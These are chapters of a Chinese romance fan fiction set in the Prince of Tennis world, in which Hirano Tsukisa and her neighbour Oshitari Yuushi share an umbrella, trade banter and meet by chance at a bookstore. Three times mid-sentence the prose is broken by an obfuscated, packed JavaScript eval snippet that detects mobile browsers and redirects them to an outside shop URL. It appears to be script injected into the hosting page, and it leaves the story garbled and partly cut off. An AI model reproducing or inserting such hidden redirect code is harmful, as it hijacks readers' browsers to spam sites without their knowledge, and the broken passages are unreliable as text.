早知道就不想那么多,直接邀请她进来才对,最坏的结果不过是被拒绝,成功了就可以多说一点话…… “好,晚安,平野。” “晚安。”她顿了顿又补充,“记得把头发擦干。” “……好” 果然发型不够帅气。 - 关上门,平野月咲加深唇边弧度。 忍足用的到底是什么香味的沐浴露,竟然闻得她心怦怦跳…… 湿发的样子也太迷人了,声音又是她特别喜欢的,真是让人忍不住想要和他多说两句话。 深呼吸好几次,才把不该有的念头赶出脑海。 几乎一整天都在路上,坐车很累,她想今晚一定不会失眠。 往浴缸里放水的间隙,平野月咲卸妆贴上面膜,然后扔进一颗樱花味的浴球,小心地将自己沉入水中,暖意瞬间包裹全身。 水波温柔,像春日的阳光一般温暖,洗去疲惫时,思绪也随着手机里流淌出的抒情音乐飘走。 眼皮好重,现在就想睡觉。 音乐突然轻下去,又恢复。 如此三次后。 平野月咲睁开眼,整个浴室雾蒙蒙,她摸出放在台上的手机,有三条来自忍足侑士的简讯: [章鱼烧的回礼.MP3] [希望平野喜欢] [晚安,明天见] 点开他发来的音频,轻音乐被网球击球声取代,有节奏的回荡在水汽氤氲的浴室里。 砰——砰——砰——砰—— 轻、重、缓、急。 平野月咲听出来这是两人在对打。 节奏一直在变化,时而清脆,时而沉闷。 一声声击中她的的那颗少女心。 平野月咲情不自禁弯起唇角,打字回复: [晚安,明天见] 18. 018 上学路上,忽然飘起了雨丝。 平野月咲没带伞,此时离电车站只有一百米左右的距离,她取下制服包上的挂件揣进口袋,把制服包横在头顶,小跑进站。 包上覆了一层细细密密的水珠,纸巾一擦便恢复原样,衣服和头发也没有被雨淋过的痕迹。 电车准点到达,踏进车厢的一瞬间,平野月咲的脑中闪过昨日在神社抽签的提示。 小心水。 是在预示她今天要被淋成落汤鸡? 她喜欢雨天,也觉得在雨中漫步也是件无比浪漫的事。 但并不想在没准备的时候被淋得浑身湿哒哒,尤其是还要去学校的情况下。 郁结的心情在出站的一刻云开雾散。天空湛蓝,刚刚飘的雨仿佛是错觉。 平野月咲忍不住又想,果然末吉也是吉。 她踩着预备铃从后门进教室,一眼就看到了忍足侑士,像是有预感般,他托着脸转头和她问好。 “早上好,平野。” 是她非常喜欢的声音。 平野月咲回以微笑,克制地不让自己嘴角上翘得太厉害:“早上好,忍足。今天网球部没有早训吗?” 以往他才是预备铃结束后才进教室的那个。 “突然下了雨,所以提前结束了。” 冰帝是有室内网球场的,但离训练结束也不剩多少时间,迹部干脆宣布解散,大家都很高兴。 “这样啊……” “早,平野” 刚坐下,前座的同学也和她打招呼,上周熟络起来的依田纯,圆脸,笑起来有两个酒窝。 “早,依田。” 平野月咲从包里往外拿书本,顺手把手机搁在桌上。 依田纯发出一声小小的惊呼:“平野,你的手机挂件超卡哇伊!” 平野月咲的制服包上原来就挂着秋奈送的小熊,后来她将忍足侑士送的企鹅也挂了上去。 刚刚下雨,她把两个挂件都取了下来,雨停将它们挂回去时,又觉得不和谐——小企鹅是真的很小,被小熊挡得严严实实。 太可怜了,平野月咲又将它取下挂在了手机上。 看吧,一下就被人注意到了。 依田纯眼睛闪闪:“可以给我看看吗?” “当然可以。” 依田纯捧着小企鹅端详,轻轻地摸两下后依依不舍地还回来:“呐呐,平野,可以告诉我是哪里买的吗?” “……抱歉啊,这是朋友送的。” “诶,好可惜……” 失落的语气和眼神都让平野月咲忍不住心软,“我帮你问问。” 但话一出口,心底便涌上一股懊悔和失落,如果依田也买了只一样的…… 正式铃打响,依田笑着露出两个甜甜的酒窝,迅速向她道谢后转身。 都怪企鹅太可爱了,不能只被她一人喜爱。 一节课的时间很快,平野月咲习惯性地拿出手机,亮屏,发现一条未读简讯。 打开查看,唇角微微勾起。 她拍了拍依田纯的肩,露出歉意的神色:“不好意思啊依田,我朋友说这个挂件是抽到的特等奖,只有一只。” “没关系啦平野,谢谢你帮我问。” 和依田聊几句,结束话题后平野月咲望向窗外。 教室里亮着灯,几点白光贴在玻璃窗上,整间教室的轮廓模糊,但后座同样靠窗而坐的男生侧脸清晰,他撑着右边脸,低着头,可能是在看书,也可能是在玩手机。 在被发现前,平野月咲先移开了目光。 她看向川井裕司,D组的班长,很受欢迎的运动型男生,热情开朗,人缘很好。 开学那日,平野月咲就是从他身上得到灵感,确定了新文男主的类型,之后也时不时会去观察,他身上的好品质能作为素材。 “川井,没想到你篮球也打这么好,我们周末能赢比赛多亏有你。” “哈哈多谢!井上在的话肯定赢得更轻松,如果缺人可以再叫我。” 川井是棒球部的,不止擅长一项运动…… “川井,麻烦你帮我看看这道题怎么写。” “这样这样……就好了。” 学习也不错,乐于助人。 “川井君,这个解法可以帮我看看吗?” “啊,哦。这一步有点问题……” 咦?F组的新井同学不是正在和他交往吗?他和这个女生靠得也太近了…… 看到这一幕的平野月咲兴致缺缺。 她偏头,再次往窗外看去,忍足侑士依旧撑着脸,但他已经抬头,看着前方。忽然,他往右边偏了下头。 他们的视线在窗户里相撞。 直觉告诉平野月咲,他就在等这一刻——忍足侑士的唇角慢慢浮现笑意。 好吧…… 平野月咲也对着窗轻轻笑了下。 - 一直到下午部活结束,都没再下一滴雨。 平野月咲和柳生友绘一起往电车站走去,友绘拿着把长柄伞嘟囔:“真是的,根本就没下雨,哥哥一定要让我带伞。” 柳生友绘还想将伞放在学校里做备用,但放了学,柳生比吕氏又叮嘱她一定要带伞。 “早上有下过,不过很快就停了。” 平野月咲看眼天色,远处一抹灰,像是正在逼近的乌云。 “那时候我应该在电车上。”柳生友绘不是很高兴,“不喜欢下雨天,学姐喜欢吗?” “喜欢,但有时候也不想被雨淋啊……” 相处久了,柳生友绘也觉得她会喜欢。 “雨天确实超有氛围感,安静、孤独、新生……还有男主在大雨里示爱的决心,女主没带伞男主就像救世主一样出现了……” 平野月咲笑笑,问她:“你的小说写得怎么样了,有计划发表吗?” “我倒是想发啦,又觉得自己写得不够好……前辈能不能帮我看看?” 平野月咲意外:“真的给我看啊?” 夏美也在部活时偷偷写过小说,一有人走进就把手机盖住。 “嗯……想请前辈帮我看看哪里不足……” 平野月咲笑着应下,被信任的感觉真的很好。 “前辈的新书也很不错呢。” “你看了呀,才发了几章。” 柳生友绘目露崇拜:“葵酱超有魅力,我已经完全被她迷住了。” 葵是女主角的名字。人如其名,平野月咲将葵塑造成了拥有治愈明亮笑容的小太阳。 男主角虽也是小太阳,但本质上两人有所不同,一个迷迷糊糊,处事温吞,一个热情洋溢,冲动莽撞…… “那请友绘多多支持。” “当然!”柳生友绘重重点头,又说,“前辈漫改发售的漫画是周三上架吧?我也会去支持的,已经和朋友约好了!” 太可爱了她的小粉丝。 去往神奈川方向的站台到了,平野月咲和她分别:“好,路上小心。” “拜拜前辈。”柳生友绘挥手,上了站台扶梯。 平野月咲也往回家方向的站台走去,今天电车上的人较往常要多,好在住得近,她只需要乘两站。 下了电车,还没走到出站口,就见大雨倾盆而下,密密的雨帘和雾蒙蒙的灰蓝,站外的景色模糊不清。 一堆人被困在站口,面露难色。 平野月咲出了站,大雨啪嗒啪嗒机打地面的声音更加清晰,站外的人行色匆匆。 她挪到被困的人群边思考对策。 等雨停不知道要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454817|201215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多久,似乎是刚下起来,雨势不见小。 淋雨跑回去是两三分钟…… 忽然,站她边上的男人直接冲进了雨里,鞋底重重踩进地面,水花溅了平野月咲一腿,冰冷湿润,她烦躁地皱眉后退一步。 就是这种时候才会讨厌雨天啊…… 后边有两人在寒暄。 “啊嘞,高桥桑?” “诶佐藤君……好久不见!” “上次见面是毕业典礼吧,之后联系就少了呢,真怀念以前的时光……你没带伞吗?要去哪里,我送你吧,请不用客气。” “诶真的可以吗?能碰见佐藤君真是太好了……真的非常感谢你。” 竟然是久别重逢的故事,佐藤就像救世主一般出现了,两个人之间说不定会有新的展开。 两人撑伞走进雨幕里,平野月咲看了片刻,垂眸,拿出手机开始打字,企鹅挂件轻轻晃动。 [被困在电车站了……有没有热心邻居搭救] [企鹅倒地.jpg] 发送。 救世主嘛……她会自己寻找。 十几秒后,有一条新简讯进来,是语音消息。 “当然……刚搭上电车,十分钟就到。” 是谁说平野不可爱的? 忍足侑士握着手机,看着她发来的简讯失笑。 冰帝的体育课是男女分开上的,上周的体育课,男生们的话题有聊到女生。 忍足侑士不感兴趣,但听到一句“平野月咲也很漂亮”时,步子就迈不动了。 “平野啊,我有试图和她说话,打了招呼就没话聊了,感觉有点高冷,不够可爱啊……” “不觉得她和忍足关系很好吗?”问这个问题的男生看到他,一把将他拉进他们的话题,非要让他说点什么。 虽说那时候和平野的状态有点尴尬,但忍足侑士还是很配合地摆出一副无奈的表情:“啊啦啊啦……我们关系是还不错。” 现在他们的关系……是真的不错了吧。 忍足侑士刷卡过了出站闸机,在被雨困住的人群里精准找到穿着制服的黑发少女。 “平野。” 对方从手机里抬起头,对他露出一个浅浅的笑容。 “忍足。” 平野月咲将手机放进口袋,毛绒绒的企鹅挂件坠在外面,她又轻轻捞起送进去。 忍足侑士看得心里柔软,撑开雨伞,“走吧,你热心的邻居来搭救你了。” 等他来的这十分钟,大雨变成了中雨。 伞是普通大小,平野月咲犹豫着是否要保持礼貌合适的距离,刚踏入雨里,她就发现伞是往她这边偏的。 他的肩头会淋到雨。 平野月咲伸手去将伞扶正。 略带凉意的指尖在忍足侑士手背上方一掠而过,他微怔,偏头看过去。 在伞下对视是一件很暧昧的事,两人都有些不自然地移开视线。 忍足侑士的目光移到她也被雨打湿的肩头,想要再次将伞倾过去。 嘈杂的雨声中,女生轻轻询问:“忍足,介意我稍稍靠近一点吗?” 忍足侑士呼吸一滞,压着颤抖的声音:“……不会。” “失礼了。” 平野月咲的视线从他撑伞的臂弯滑过,犹豫一瞬,轻轻拉住他的衬衫衣料,稍稍缩小两人的距离。 忍足侑士隐约能闻到一股极淡的樱花甜香,心跳得比在部活训练时还快,分外夸张。 忍不住偷瞄旁边一眼,瞥到女生泛红的脸颊。 不止他一人紧张。 雨忽然又大起来,忍足侑士握着伞柄的力道加重几分,稳住雨伞。 雨点噼里啪啦地砸在伞面上,水花四溅。 伞下是两颗悄悄靠近的心。 19. 019 平野月咲喜欢今天的雨。 一路上两人都没有开口说话,伞下空间有限,一旦说话暧昧氛围必定急剧上升。 心跳已经足够快了。 电车站离公寓很近,五分钟的路程因下雨延长,每一步都小心翼翼,即使这样,还是很快走到公寓楼下。 平野月咲松开拉着他制服的手:“谢谢你,忍足。多亏有你。” 她右边肩膀和背在右边的制服包被打湿一些,摸了摸发尾,也有些水意,再看忍足侑士,他左边肩膀洇湿的痕迹更明显。 一开始就主动靠近的话,是不是就不会被雨淋到了? 他态度自然地收伞:“是啊,向热心邻居求救真是一个明智的选择。” 公寓楼下贴心地铺了地垫,两人进入电梯,平野月咲理由充足地邀请:“作为搭救邻居的报酬,明天我请你吃晚饭如何?” 忍足侑士毫不意外她会邀请,帮了忙她总是要回报点什么。 “我还以为平野会请我吃今天的晚饭。”不等平野月咲说话,他又自己接上,“不过天气这样糟糕,我想应该也没有吃饭的心情吧。” “我喜欢雨天。”平野月咲说着叹口气,“可是我的鞋子进水了……” “我也是。”忍足侑士也同样苦恼地皱眉,脚底又冷又湿,他想起女生怕冷,建议道,“平野是不是怕冷?可以试试泡脚,泡完之后会很暖和。” 他说了几点泡脚的注意事项,平野月咲认真听完,评价他:“忍足你果然很养生。” 忍足侑士笑笑,推了下眼镜,拉回被扯远的话题:“可惜明天晚上我要上小提琴课。” 该说不说他精力还真是充沛啊,又是网球又是小提琴。 平野月咲掩去眸中诧异:“那么后天?或者等你有空的时候……” 即使知道她不会因此取消邀约,但听她再次邀请的时候,心里还是漫开一片欢喜。 狭小的轿厢空间,忍足侑士微微偏头,又暗暗怪责电梯为什么是暖光,这让她的侧颜显得愈发沉静柔和。 “小提琴课是周二和周四晚上,所以后天我有空。” 平野月咲点点头表示没问题。 恰巧电梯门开,他们走出电梯,正想道别,就听对方用一种遗憾的语气说:“还以为平野会对我拉小提琴感兴趣……所以才故意说给平野听啊。” 好不容易平息了共撑一把伞带来的心跳,忽然间又漏一拍。 平野月咲抬眼对上他的视线。就算是平光镜,也或许真能起到防护作用,她只看到那双深蓝色的眼睛里的笑意。 如果再近一点…… 她想起秋奈对于忍足侑士看起来很会谈恋爱的评价。 好像果真如此。 平野月咲不接这茬,她也在唇边折起一抹笑:“我可没有说不感兴趣……下次我们社团舞台剧缺人就直接找你哦。 “不会拒绝我吧,忍足?” “……” “当然不会。” 本想再看看她脸红样子的忍足侑士挫败地回了家,她不避讳的眼神仿佛在说“你已经完全被我看透了”…… 鞋子进水的感觉实在难受,换下来后忍足侑士又冲了个澡,他不喜欢流汗的感觉,早训晚训结束后都要冲澡……一天洗三次澡,忍不住感叹自己也太爱干净了。 洗完澡后做了顿简单的料理,又看一小时书,偶尔他也会选择看电影。 今天是每周例行眼镜保养的日子,看完书,他随手找了张唱片播放,打开一抽屉的眼镜进行护理。 复古又温柔的曲调在室内响起,歌手的声线温暖明亮,低低哼着歌,说不上来的氛围感。 旋律有些陌生,之前似乎没怎么听过这张…… 手机在书桌上震个不停,忍足侑士看了来电人的名字,接起。 “喂谦也,最近怎么样?” 他抬起唱臂,音乐声渐渐消失,这才打开免提,继续护理眼镜。 “就还是老样子,唉……其实不怎么顺利吧……不过感觉侑士你今天心情很好啊。” 是吗? 忍足侑士弯了下唇:“啊,还可以吧。” “什么叫还可以啊,肯定心情很好。”忍足谦也下定论,嘿嘿笑两声,“惠里奈可都告诉我了,别装深沉了你这小子。” 忍足侑士眉心一跳,直觉告诉他不是什么好事:“忍足惠里奈说什么了?” “嗯?就是那个女朋友啊,侑士,什么时候让我见见你女朋友?” “……” “谈恋爱也没必要遮遮掩掩吧……还是说你们在搞什么地下恋情?” 神来的地下恋情。 “谦也,我恋爱了你不难过吗?除了我谁会这么晚和你打电话。” “哈?别说得这么恶心!” 忍足侑士叹气:“所以说啊……我现在没有女朋友。” 忍足谦也才不信,惠里奈说得绘声绘色,可不像是假的,好不容易占上风一回,他必须得抓住这个机会好好发挥。 “那请问那位既是邻居又是同学家人不在身边不得不由你陪着去医院看病并且一起吃了饭约会的女生是谁?” “难为你能一口气能说这么一长串……跑得快肺活量是不一般。” 淡定地吐槽完,忍足侑士想起一件事,从容不迫地笑两声开始反击,“谦也,听说你小学被女生打哭过?” “……侑士,你这话题也未免转换得太生硬了吧,根本没有这回事好吗?既然是邻居,那我周末来东京就可以见到了吧?嚯,越想越觉得这是个不错的主意……” 忍足侑士冷漠打断:“我不会收留你的。” “啊啊啊你们不会已经进展到同居了吧?!” 尖叫声吓得忍足侑士手一抖,后知后觉谦也说了什么后耳朵涌上一股热意。 他咬牙切齿:“谦也,没有这回事!” 连手都没有牵过好吗! “那究竟为什么不让我来你家借住啊!” 为什么一个两个都要跑到他家来啊……岳人才刚走,谦也又要来,他家是什么儿童收留所吗? 周末的轻松时光就不能让他单独享受吗……啊不对,上周也不是……他昨晚就把章鱼烧吃了,真是相当美味…… “是什么样的女生啊?” 谦也还在问。 思绪回笼,忍足侑士继续擦拭镜片:“小学二年级的转校生,你往她课桌里放虫子,所以被打了。这下记起来了吗?” “……” 忍足谦也沉默。 好像是有那么回事。 有关小学二年级的记忆缓慢复苏,只是过去多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454818|201215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年,那个女孩的脸也早已模糊,名字似乎是叫月的,好像蛮可爱但不爱理人…… 侑士欠扁的笑声传来,忍足谦也回过神质问他:“你为什么会知道这件事!” 他觉得很丢脸可是连父母都没告诉,只有当时的同班同学才知道。 “日本很小,谦也。你小时候真是顽劣啊,我一转校走你就欺负女孩子……” “虽然你比我大一岁,但不要装得自己很成熟的样子好吗?可不要因为谈恋爱懈怠训练啊!” 反正怎么解释他都不信,忍足侑士破罐子破摔:“放心,今年的胜利是属于我们冰帝的。” “是四天宝寺!” “迹部的绝招可是又进化了。” “白石的圣经网球才是最完美的!” 争吵好几个回合,忍足侑士在说出“胜利的是冰帝”后及时转换话题,“你最近怎么了?哪里不顺利?” “唉!”忍足谦也重重叹口气,“就是前天……我在追小偷的时候不不小心撞到了在梅田奶奶家买章鱼烧的顾客,把她们的章鱼烧打翻了,我想着等先追到小偷再来处理,结果踩到香蕉皮滑了一跤…… “还好最后追到了那可恶的小偷!都说了不要小看我这个大阪的浪速之星啊!” “哦呀,那还真是不幸呢,等等……章鱼烧?” 最近章鱼烧出现的频率过高,忍足侑士抓住重点,昨天平野有说过“刚买的章鱼烧被撞到地上”…… “我回去的时候她们已经走了,是两个穿得很时尚的女生,像是游客……”忍足谦也悲从中来,“她们不会因此对大阪的印象变差吧,梅田奶奶说她们坚持要付一半钱,我太失礼了……” 忍足侑士啧一声后扶额叹息。 “侑士,你说我是不是有够倒霉的,要不要去寺庙占卜一下。”忍足谦也越想越觉得要去,尤其是还被侑士知道了那么丢脸的事。 “哦?你是指你们学校吗?那还是不要了。”忍足侑士吐槽起弟弟来毫不留情,“你也确实有够失礼的,谦也。” “真是嘴毒的家伙,好歹安慰一下我吧。” “等等啊,我还没说完,作为哥哥,我当然会帮你收拾烂摊子。” “又用这副语气说话,你也只比我大一岁而已。”忍足谦也又叹一口气,“有时候真不想和你说话……你有什么办法?” “帮你道歉顺便帮你赔钱。” 忍足侑士哼笑一声,然后深吸一口气,“你撞到的就是我的邻居我的同学家人不在身边还和我一起吃饭了的女生和她的朋友。” “……” “哈——?!” 日本果然很小。 在收到忍足侑士递来的现金并听他讲述缘由后,平野月咲也感叹了一句“真巧,日本真小。” “我的这份就不用了。”她数出一半钱,“就当做是他眼泪的赔礼……” “不,平野还是收下吧。眼泪是眼泪,章鱼烧是章鱼烧……”忍足侑士目露谴责,“再说了,世界第一美味的章鱼烧的价值可不是一个爱哭的小男生的眼泪能衡量的。” 平野月咲噗嗤一下笑了,她不再推辞,收下钱:“你们兄弟感情很好吧?” 想到昨晚遗憾败北的谦也,忍足侑士嘴角扬起一个愉悦的弧度。 “嘛,还可以。” 20. 020 转眼到了周三。 化学课和数学课接连着上,着实不太美妙。一下课,平野月咲和隔壁组的秋奈汇合,直奔餐厅。 自从在大阪吃了章鱼烧,秋奈就深陷其中不可自拔,昨天又通知她今天中午的便当仍是章鱼烧。 平野月咲连吃三天,这次果断拒绝。她在餐厅买了份天妇罗定食。 “没有大阪的好吃,但我家厨师的手艺也很不错啦。”藤沢秋奈一旦喜欢上某种食物就会一直吃,直到腻了为止,“我还和部长提议部活时做章鱼烧,她答应了耶。” 平野月咲惊讶:“真的吗?” 料理部是兴趣社团,如果愿意支付材料使用费,可以一起参加部活。而且料理部部长相当有料理天赋,经她手的料理就像施了美味魔法一样。 见她有兴趣,藤沢秋奈咽下嘴里正在嚼的章鱼丸子,邀请道:“部长已经开始研究酱汁的做法了,月咲要一起来吗?” 平野月咲拧眉纠结,她还挺想去的,但部活时间冲突,话剧部最近也很忙。 “Test one two…” 突然间,餐厅内响起广播的调试音,然后是一阵舒缓的轻音乐,温柔悦耳的女声。 “各位同学,中午好,下面播报一则特别通知:由我们广播部和新闻部联合打造的‘心声传递’活动正式开展了,有话说?有愿许?你的烦恼,我们倾听;你的愿望,我们传递……以上,期待各位同学的投稿来信。” 广播关闭,餐厅里响起一阵不小的议论声。 “诶,还蛮有趣的。”藤沢秋奈也挺感兴趣,“可以表白,可以许愿,还可以分享……” 平野月咲若有所思地点头:“就像论坛的广播版吧,不过不是所有人都会逛论坛,但广播不一样。” “有些学校还有天台喊话呢,可好玩了。”藤沢秋奈笑嘻嘻,“冰帝要是有,我就去表白月咲吧,谢谢你一直和我做朋友。” 平野月咲无奈:“不要突然这么煽情啊……” 周围忽然又一阵喧哗,比之刚刚还要嘈杂许多,夹杂着“迹部大人”“迹部君”激动的声音。 两人也向入口处看去。 以迹部景吾为首的一群男生——冰帝网球部的正选和准正选们,一群不同类型的帅哥走进餐厅。 着实养眼。 怪不得大家如此兴奋,网球部的风云人物们一般不来学校餐厅。 迹部景吾扬起下巴,伸手打了个响指,餐厅里瞬间安静。 …… 真夸张。 藤沢秋奈也说好夸张,又说,“但确实帅。” 平野月咲轻轻点头。 正想收回视线,分别不到半小时的忍足侑士忽然看过来,她对他颔首笑了笑。 站他身边的向日岳人也看到她,冲她招手,平野月咲微笑回应。 接着,向日同学和旁边睡眼惺忪的卷发男生,好像是叫芥川的说了什么,他咧嘴冲她笑。 ? 平野月咲微笑回应。 迹部景吾的视线扫过来,挑了下眉,又冲她点了下头,平野月咲微笑回应。 …… 银发的高个子男生也对她微笑,迈出步子似乎要往这边走,被忍足侑士拉住。 “我们坐那边好了。”忍足侑士拉着凤长太郎往相反方向去。 “忍足前辈,我觉得应该去道谢。”凤长太郎摸摸后脑勺。 “不用,我已经帮你们感谢过她了。” 之前平野送的那两大盒甜品,他和岳人两人吃不完,正好那天晚上网球部聚餐,就一起带过去分享了。 平野是他对门邻居的事也被大家知晓。 不过迹部对此事也没什么特别大的反应,只是投来“忍足,本大爷已经看透你了”的目光,现在也一样。 刚刚平野还和迹部打招呼了吧,自然到两人似乎根本就没有什么,不存在过告白与被告白的关系一样…… “呵,真是不华丽。”思忖间,旁边传来迹部的轻笑,他用一种揶揄的眼神看他,“你要不坐过去好了。” “坐哪里去?”向日不解地问。 “咳,”忍足侑士推了下眼镜,神色自若,“我当然是坐这里。” 晚上就能和平野一起吃饭,中午当然是陪你们,他心里这样想道。 另一边平野月咲松一口气,这一群人要是过来,说不定下午她就能在逛论坛的时候看到自己了。 她一向低调行事,只想在论坛看别人的八卦,可不是自己的。 这番互动被藤沢秋奈看在眼里,她眨眨眼,下巴轻点网球部的方向:“怎么样?” 平野月咲自然知道她说什么,回想了下两人相处的细节,唇边的笑意深几分:“感觉不错。”顿了顿又说,“一切顺利。” 从餐厅回教室时,路过楼下的公告栏,有几人正往上面张贴海报,平野月咲看到熟人。 新闻部部长早川紫苑亲自领着人在干活。 “早川前辈。” 藤沢秋奈也礼貌地打招呼。 早川紫苑笑得很漂亮:“平野,多多支持我们哦。” 他们贴的正是刚才广播里宣传的活动海报。 “也要让小百合多多支持哦。”早川紫苑又说。 两位部长总是暗暗较劲,平野月咲笑笑:“前辈这么努力,活动一定会办得很成功。” 寒暄几句,走远后,藤沢秋奈挽上月咲的手:“那位后辈一直看着你诶,褐发戴眼镜的。” 平野月咲也察觉到了那道目光。 “是被月咲迷住了吧,他也可以算斯文类型的帅哥……” “不是吧……” 那并不像爱慕的眼神,他在打量她,就好似从她身上看某个人的影子。 平野月咲皱了皱眉,“说不上来……总之不是很舒服。” 藤沢秋奈闻言不再多说,换了个话题聊天。 后来仔细回想了下,平野月咲很肯定之前并没有见过那位新闻部的一年级新生。 部活时间,部室的氛围安静得可怕。 平野月咲开门进来时,以友绘为首的新成员们用目光示意一个方向—— 栗山小百合撑着脸颊,一蹶不振的模样,见她来也没以往的热情,只向她点头示意。 平野月咲清清嗓子开口:“部长,下午早川前辈挑衅你。” 栗山小百合先是眉毛一拧,紧接着一个起身拍桌:“她说什么了!” 同时传来的还有一声惨叫,三木拓猝不及防被她撞到下巴。 “没事吧三木?对不起对不起对不起……” 一片混乱中,话剧部又恢复活力。 栗山小百合是不可能就这样被打趴下的,听了月咲的转述,不屑地哼一声:“叫她等着吧。” “部长,你有主意了?” “当然,我只是不爽他们出风头。我们要做也要做到最好,至于什么活动……这个还在商量。” 平野月咲隐约有了点猜想,最近小百合前辈和推理部部长走得很近,或许和接下来的活动有关。 “也是联合活动吗?”有成员问。 栗山小百合点点头,最后几名部员先后进门,人到齐后她拍拍手:“好了,开始排练。” 下周六在养老院有一场公益性质的情景剧演出,都由一年级新成员参演,新面孔新活力,大家干劲十足。 剧本是平野月咲去年费尽心思写的搞笑剧本,一家三代六口发生的无厘头故事。 毕竟养老院就没必要演催泪向的剧目,重要的是为老人们带去欢乐。写这个剧本也用尽了她所有的搞笑细胞,好在演出几次的反响都很不错。 排练结束,离她和忍足侑士约定的晚饭时间也还充裕。今天是个特殊日子,她要先去趟书店,看看由她书改编的漫画卖得如何。 应该还不错吧? 之前社交账号上发了动态,可是有不少粉丝留言说要支持。 接到秋奈打来的电话时,平野月咲正下了电车出站。 “月咲月咲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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平野月咲也经常为了喜欢的赠品买单,杯子、镜子、玩偶挂件,家里攒了不少,却很少有真正用上的时候。 “那个,不好意思……”有女孩子来搭话,“请问你要买这个吗?礼盒装的……” 她看看平野月咲又看看书架上最后一份礼盒,眼巴巴等着回答。 青色的制服,铭牌上写着国中三年级。 平野月咲友善地对这位学妹笑了笑,摇摇头,让出位置,一边在心里猜测她是谁的粉丝。 “谢谢!”女生礼貌道谢,飞快拿起礼盒,离去的背影都透着一股轻松欢快劲。 她的朋友就附近,女生压低声音还是抑制不住地兴奋:“买到了买到了,好幸运!这可是最后一份满月老师的签名……” 好可爱的女孩子,竟然是她的粉丝! 难以形容此刻激动的心情,平野月咲挪了挪脚步,悄悄跟在女生后面听她和朋友安利“满月”的作品。 无比美好的一天,甜得简直要冒泡泡。 刚才秋奈说忍足也看小说,不知道他有没有看过她的作品? 这样一想,真的是可爱的反差啊。 应该看过吧,“满月”也算……小有名气吧? 那天帮她整理书籍时看到“满月”作品的反应也…… 心有所想,平野月咲似乎听到有人喊了声“侑士”。 她往回走。 “侑士,我买JOJO,你挑好了吗?” 这道活力的声音……向日同学? 接着是她熟悉的关西腔——忍足侑士低低叹口气:“来晚了岳人,都说了先来买书啊。” 平野月咲从陈列柜后探出头来。 21. 021 “平、平野?” 有什么是能比他站在少女漫画的陈列架前遇上喜欢的女生更恐怖的事? 没有了。 忍足侑士心如死灰地想。 “嗨平野,你也来买书啊。”向日岳人自然地和平野月咲打招呼。 平野月咲点头:“好巧,向日同学。” 又看向和她约了晚饭的忍足侑士,“好巧,忍足。” “……好巧。” 如果忍足侑士有耳朵,那双耳朵此刻一定耷拉了下来,平野月咲想。 “……平野来买漫画吗?” “是啊。”平野月咲面不改色地从书架上抽出一本漫画,“毕竟我是原作者的忠实粉丝。” 清凌凌的视线扫过来,忍足侑士只觉自己无处遁形。 怪不得放学后右眼皮一直跳,因为约了晚饭,他根本没想到会在书店提前偶遇…… 究竟该感叹他太倒霉还是他们太有缘? “这样啊,还以为平野不看闲书呢,不过侑士也……” 向日岳人被他的搭档及时捂住嘴。 “……我来帮姐姐买。” 扑克脸过于严肃,忍足侑士扯了下嘴角,接下来的话自然地脱口而出,“她叮嘱我一定要买到,实在是没办法啊……知道了吗?岳人。” 向日岳人使劲点头。 得到新鲜空气后他狠狠呼吸两口,又瞪忍足侑士一眼。 这家伙又抽风!怎么一到平野面前就不正常? 真是可爱的互动。 平野月咲装作没发现,顺着他的话往下:“刚刚听你说来晚了,你姐姐是嘱咐你要买签名版吗?” 反正忍足惠里奈也爱看,忍足侑士心安理得地接话:“是啊,可惜卖完了。” “确实可惜呢……最后一份刚刚被人拿走了。”平野月咲寻找着她小粉丝的身影,她已经和朋友在收银台结账了。 “那只好去其他家书店看看了。”忍足侑士惋惜道。 见女生把漫画放回去,他问,“平野不买吗?” “不买了。”平野月咲想了想粉丝应该说的台词,“不是签名版没有意义。” 向日岳人疑惑,这可能和班上的女同学讨论追星一样吧。 忍足侑士倒也不是非得买签名版。 于他来说刚才属实是一场惊吓,好在他机智地用惠里奈做借口,给自己塑造了一个听话弟弟的人设。 哦呀,这样看来自己的演技也是相当不错…… 至于漫画,他准备过两天再来买。 最后只有向日岳人拿着他买的漫画书去结账。 “不对啊,我不是陪侑士你来的吗?” 反倒变成他花钱了! 忍足侑士无奈地摊手:“谁让你刚刚在跳舞机上耽误那么久,都说了先来买书的嘛。”一副不能怪他的样子。 “……算了算了,反正我本来也是要看这个的。” 平野月咲在他们身后无声偷笑。 走出一点距离,忍足侑士和向日岳人道别:“好了,岳人,拜拜。” 平野月咲也道:“再见,向日同学。” 他们要一起回家吗? 向日岳人狐疑地在两人之间来回扫:“侑士,你不是说晚上和朋友约了吃饭吗?” “是啊。” “平野你呢?” “我等会也要和朋友吃饭,先不回家。” “……那好吧,拜拜。” 向日岳人总觉得说不上来的怪异,一路走到电车站,刷卡过闸,上了电车后一拍脑袋。 平野手机上挂的企鹅挂件……天呐,他发现了一个不得了的秘密! 